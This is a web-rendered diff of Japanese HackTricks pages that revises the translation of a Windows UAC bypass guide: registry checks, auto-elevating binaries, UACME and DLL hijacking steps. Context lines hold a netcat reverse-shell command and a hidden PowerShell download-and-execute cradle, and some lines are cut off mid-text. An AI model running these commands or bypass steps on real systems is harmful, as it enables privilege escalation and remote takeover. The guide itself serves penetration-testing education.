| 28 | 汎用ALL(読み取り、書き込み、実行) | 以下のすべて |
|
||||
| 29 | 汎用実行 | プログラムを実行するために必要なすべてのもの |
|
||||
| 30 | 汎用書き込み | ファイルに書き込むために必要なすべてのもの |
|
||||
| 31 | 汎用読み取り | ファイルを読み取るために必要なすべてのもの |
|
||||
| 30 | 汎用書き込み | ファイルに書き込むために必要なすべてのもの |
|
||||
| 31 | 汎用読み取り | ファイルを読み取るために必要なすべてのもの |
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -174,18 +172,18 @@ ACEは基本的に同じです。それらを区別するのは、継承とオ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
@ -35,21 +35,21 @@ UACが設定されている場合、管理者ユーザーには2つのトーク
|
|||
|
||||
| グループポリシー設定 | レジストリキー | デフォルト設定 |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [ビルトイン管理者アカウントのユーザーアカウント制御: 管理者承認モード](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 無効 |
|
||||
| [ユーザーアカウント制御: セキュアデスクトップを使用せずにUIAccessアプリケーションに昇格のプロンプトを許可する](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 無効 |
|
||||
| [ユーザーアカウント制御: 管理者承認モードの昇格プロンプトの動作](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求める |
|
||||
| [ユーザーアカウント制御: 標準ユーザーの昇格プロンプトの動作](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | セキュアデスクトップで資格情報を求める |
|
||||
| [ユーザーアカウント制御: アプリケーションのインストールの検出と昇格のプロンプト](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 有効(ホームのデフォルト) 無効(エンタープライズのデフォルト) |
|
||||
| [ユーザーアカウント制御: 署名され、検証された実行可能ファイルのみを昇格する](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy
|
||||
| [ビルトイン管理者アカウントの管理者承認モードのユーザーアカウント制御](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 無効 |
|
||||
| [セキュアデスクトップを使用せずにUIAccessアプリケーションが昇格のためにプロンプトを表示できるようにするユーザーアカウント制御](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 無効 |
|
||||
| [管理者承認モードの管理者向け昇格プロンプトの動作のユーザーアカウント制御](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求める |
|
||||
| [標準ユーザー向け昇格プロンプトの動作のユーザーアカウント制御](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | セキュアデスクトップで資格情報を求める |
|
||||
| [アプリケーションのインストールを検出し、昇格のためにプロンプトを表示するユーザーアカウント制御](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 有効(ホームのデフォルト) 無効(エンタープライズのデフォルト) |
|
||||
| [署名され検証された実行可能ファイルのみを昇格するユーザーア
|
||||
| [ユーザーアカウント制御:ユーザーごとの場所にファイルとレジストリの書き込みエラーを仮想化する](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 有効 |
|
||||
|
||||
### UACバイパスの理論
|
||||
### UACバイパス理論
|
||||
|
||||
一部のプログラムは、**ユーザーが** **管理者グループ**に所属している場合、**自動的に自動昇格**します。これらのバイナリには、_**マニフェスト**_内に_value_ _**True**_の_autoElevate_オプションがあります。バイナリはまた、**Microsoftによって署名**されている必要があります。
|
||||
一部のプログラムは、**ユーザーが** **管理者グループ**に所属している場合、**自動的に自動昇格**します。これらのバイナリには、_**マニフェスト**_内に_**autoElevate**_オプションがあり、値が_**True**_になっています。また、バイナリは**Microsoftによって署名**されている必要もあります。
|
||||
|
||||
そのため、**UAC**(**中**の完全性レベルから**高**に昇格)を**バイパス**するため、一部の攻撃者はこの種のバイナリを使用して**任意のコードを実行**します。なぜなら、それは**高い完全性レベルのプロセス**から実行されるからです。
|
||||
そのため、**UAC**(**中**の完全性レベルから**高**に昇格)を**バイパス**するために、一部の攻撃者はこの種のバイナリを使用して**任意のコードを実行**します。なぜなら、それは**高い完全性レベルのプロセス**から実行されるからです。
|
||||
|
||||
ツール_Sysinternals_の_sigcheck.exe_を使用してバイナリの_**マニフェスト**_を**確認**できます。また、_Process Explorer_または_Sysinternals_の_Process Monitor_を使用してプロセスの**完全性レベル**を**確認**できます。
|
||||
ツール_Sysinternals_の_sigcheck.exe_を使用して、バイナリの_**マニフェスト**_を**確認**することができます。また、_Process Explorer_または_Sysinternals_の_Process Monitor_を使用して、プロセスの**完全性レベル**を**確認**することもできます。
|
||||
|
||||
### UACの確認
|
||||
|
||||
|
@ -60,9 +60,9 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
|
|||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
もし**`1`**であれば、UACは**有効**です。もし**`0`**であるか、存在しない場合は、UACは**無効**です。
|
||||
もし **`1`** ならば、UACは **有効** です。もし **`0`** または **存在しない** 場合、UACは **無効** です。
|
||||
|
||||
次に、**どのレベル**が設定されているかを確認します。
|
||||
次に、**どのレベル** が設定されているかを確認します:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||
|
||||
|
@ -71,16 +71,16 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
|||
```
|
||||
* もし **`0`** なら、UACはプロンプトを表示しません(**無効**のようなものです)
|
||||
* もし **`1`** なら、管理者はバイナリを高い権限で実行するためにユーザ名とパスワードを要求されます(セキュアデスクトップ上で)
|
||||
* もし **`2`** なら(**常に通知**)、管理者が高い特権で何かを実行しようとすると、UACは常に確認を求めます(セキュアデスクトップ上で)
|
||||
* もし **`3`** なら、`1` と同じですが、セキュアデスクトップ上では必要ありません
|
||||
* もし **`4`** なら、`2` と同じですが、セキュアデスクトップ上では必要ありません
|
||||
* もし **`5`**(**デフォルト**)なら、管理者に非Windowsバイナリを高い特権で実行するかどうか確認します
|
||||
* もし **`2`** なら(**常に通知**)、管理者が高い権限で何かを実行しようとすると常に確認を求められます(セキュアデスクトップ上で)
|
||||
* もし **`3`** なら、`1` と同じですがセキュアデスクトップ上では必要ありません
|
||||
* もし **`4`** なら、`2` と同じですがセキュアデスクトップ上では必要ありません
|
||||
* もし **`5`**(**デフォルト**)なら、管理者に非Windowsバイナリを高い権限で実行するかどうか確認を求めます
|
||||
|
||||
次に、**`LocalAccountTokenFilterPolicy`** の値を確認する必要があります。\
|
||||
もし値が **`0`** なら、**RID 500** ユーザー(**ビルトインの管理者**)のみがUACなしで**管理者タスクを実行**できます。もし値が `1` なら、**"Administrators"** グループ内のすべてのアカウントが実行できます。
|
||||
もし値が **`0`** なら、**RID 500** のユーザ(**ビルトインの管理者**)だけがUACなしで管理タスクを実行できます。もし値が `1` なら、**"Administrators"** グループ内のすべてのアカウントが実行できます。
|
||||
|
||||
最後に、キー **`FilterAdministratorToken`** の値を確認します。\
|
||||
もし **`0`**(デフォルト)なら、**ビルトインの管理者アカウントは**リモート管理タスクを実行**できます。もし **`1`** なら、ビルトインの管理者アカウントは**リモート管理タスクを実行**できません(ただし、`LocalAccountTokenFilterPolicy` が `1` に設定されている場合は除く)。
|
||||
もし **`0`**(デフォルト)なら、**ビルトインの管理者アカウントは**リモート管理タスクを実行できます。もし **`1`** なら、ビルトインの管理者アカウントは**リモート管理タスクを実行できません**(ただし、`LocalAccountTokenFilterPolicy` が `1` に設定されている場合は除く)。
|
||||
|
||||
#### 要約
|
||||
|
||||
|
@ -89,9 +89,9 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
|||
* `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0` かつ `FilterAdministratorToken=0` の場合、RID 500(ビルトインの管理者)にはUACがありません**
|
||||
* `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0` かつ `FilterAdministratorToken=1` の場合、誰にもUACがあります**
|
||||
|
||||
これらの情報は、**metasploit** モジュール `post/windows/gather/win_privs` を使用して収集できます。
|
||||
これらの情報は、**metasploit** モジュール `post/windows/gather/win_privs` を使用して収集することができます。
|
||||
|
||||
また、ユーザーのグループと整合性レベルを確認することもできます。
|
||||
また、ユーザのグループを確認し、整合性レベルを取得することもできます。
|
||||
```
|
||||
net user %username%
|
||||
whoami /groups | findstr Level
|
||||
|
@ -121,7 +121,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
|
|||
|
||||
### **非常に**基本的なUAC "バイパス"(完全なファイルシステムアクセス)
|
||||
|
||||
管理者グループに所属するユーザーを持つシェルがある場合、SMB(ファイルシステム)を介してC$共有を**マウント**することができます。新しいディスクにローカルにマウントされ、ファイルシステム内のすべてに**アクセスできます**(管理者のホームフォルダーも含む)。
|
||||
管理者グループに所属するユーザーを持つシェルがある場合、SMB(ファイルシステム)を介してC$共有を**マウント**することができます。新しいディスクにローカルにマウントされ、ファイルシステム内のすべてに**アクセスできます**(管理者のホームフォルダーも含まれます)。
|
||||
|
||||
{% hint style="warning" %}
|
||||
**このトリックはもう機能しないようです**
|
||||
|
@ -155,8 +155,8 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
|||
|
||||
### UACバイパスの脆弱性
|
||||
|
||||
[**UACME**](https://github.com/hfiref0x/UACME)は、いくつかのUACバイパスの脆弱性のコンパイルです。UACMEをビジュアルスタジオまたはmsbuildを使用してコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイル(例:`Source\Akagi\outout\x64\Debug\Akagi.exe`)が作成されますが、**どれが必要かを知る必要があります。**\
|
||||
何らかのプログラムがユーザーに何かが起こっていることを警告することがあるため、**注意が必要**です。
|
||||
[**UACME**](https://github.com/hfiref0x/UACME)は、いくつかのUACバイパスの脆弱性のコンパイルです。UACMEをビジュアルスタジオまたはmsbuildを使用してコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイル(例:`Source\Akagi\outout\x64\Debug\Akagi.exe`)が作成されますが、**必要なものを知る必要があります。**\
|
||||
何かが起こっていることを**ユーザーに警告する**他のプログラムが表示される場合があるため、**注意が必要**です。
|
||||
|
||||
UACMEには、各テクニックが動作を開始したビルドバージョンがあります。自分のバージョンに影響を与えるテクニックを検索できます。
|
||||
```
|
||||
|
@ -170,7 +170,7 @@ Major Minor Build Revision
|
|||
|
||||
#### さらなるUACバイパス
|
||||
|
||||
ここで使用される**すべてのテクニック**は、被害者との**完全な対話型シェル**を必要とします(一般的なnc.exeシェルでは十分ではありません)。
|
||||
ここで使用されるすべてのUACバイパス技術は、被害者との完全な対話型シェルを必要とします(一般的なnc.exeシェルでは十分ではありません)。
|
||||
|
||||
**meterpreter**セッションを使用することができます。**セッション**値が**1**に等しい**プロセス**に移行します。
|
||||
|
||||
|
@ -182,7 +182,7 @@ Major Minor Build Revision
|
|||
|
||||
**GUIにアクセスできる場合、UACプロンプトを受け入れるだけで**バイパスする必要はありません。したがって、GUIにアクセスできるとUACをバイパスできます。
|
||||
|
||||
さらに、(おそらくRDP経由で)他の誰かが使用していたGUIセッションにアクセスできる場合、[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)のような**管理者として実行されるツール**がいくつか実行されている可能性があります。これにより、UACによる再度のプロンプトなしに、例えば**cmdを管理者として直接実行**することができます。これは少し**ステルス**です。
|
||||
さらに、(おそらくRDP経由で)他の誰かが使用していたGUIセッションにアクセスできる場合、[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)のような**管理者として実行されるツール**がいくつか実行されている可能性があります。これにより、UACによる再度のプロンプトなしに、例えば**cmdを管理者として直接実行**することができます。これはより**ステルス**です。
|
||||
|
||||
### 騒々しいブルートフォースUACバイパス
|
||||
|
||||
|
@ -193,19 +193,19 @@ Major Minor Build Revision
|
|||
**UACME**を見ると、**ほとんどのUACバイパスがDllハイジャックの脆弱性**を悪用していることに気付くでしょう(主に悪意のあるdllを_C:\Windows\System32_に書き込むこと)。[Dllハイジャックの脆弱性を見つける方法については、こちらを読んでください](../windows-local-privilege-escalation/dll-hijacking.md)。
|
||||
|
||||
1. **自動昇格**するバイナリを見つけます(実行されると高い完全性レベルで実行されることを確認します)。
|
||||
2. procmonを使用して、**DLLハイジャック**の脆弱性に対して**NAME NOT FOUND**イベントを見つけます。
|
||||
2. procmonを使用して、**DLLハイジャック**の脆弱性に対して**「NAME NOT FOUND」**イベントを見つけます。
|
||||
3. おそらく、書き込み権限がない**保護されたパス**(C:\Windows\System32など)にDLLを**書き込む**必要があるでしょう。これを回避するには、次の方法を使用できます。
|
||||
1. **wusa.exe**:Windows 7、8、および8.1。保護されたパス内にCABファイルの内容を抽出することができます(このツールは高い完全性レベルから実行されます)。
|
||||
1. **wusa.exe**:Windows 7、8、および8.1。このツールは高い完全性レベルから実行されるため、保護されたパス内にあるCABファイルの内容を抽出することができます。
|
||||
2. **IFileOperation**:Windows 10。
|
||||
4. バイナリを保護されたパスにDLLをコピーし、脆弱性のある自動昇格バイナリを実行するための**スクリプト**を準備します。
|
||||
4. バイナリを保護されたパスにDLLをコピーし、脆弱性のある自動昇格バイナリを実行するためのスクリプトを準備します。
|
||||
|
||||
### 別のUACバイパスのテクニック
|
||||
### 別のUACバイパス技術
|
||||
|
||||
**自動昇格バイナリ**が**レジストリ**から**実行される**バイナリまたは**コマンド**の**名前/パス**を**読み取ろうとする**かどうかを監視する方法です(これは、バイナリがこの情報を**HKCU**内で検索する場合に特に興味深いです)。
|
||||
これは、**自動昇格バイナリ**が**レジストリ**から**実行される**バイナリまたは**コマンド**の**名前/パス**を**読み取ろうとする**かどうかを監視するものです(これは、バイナリがこの情報を**HKCU**内で検索する場合に特に興味深いです)。
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -217,7 +217,7 @@ Major Minor Build Revision
|
|||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue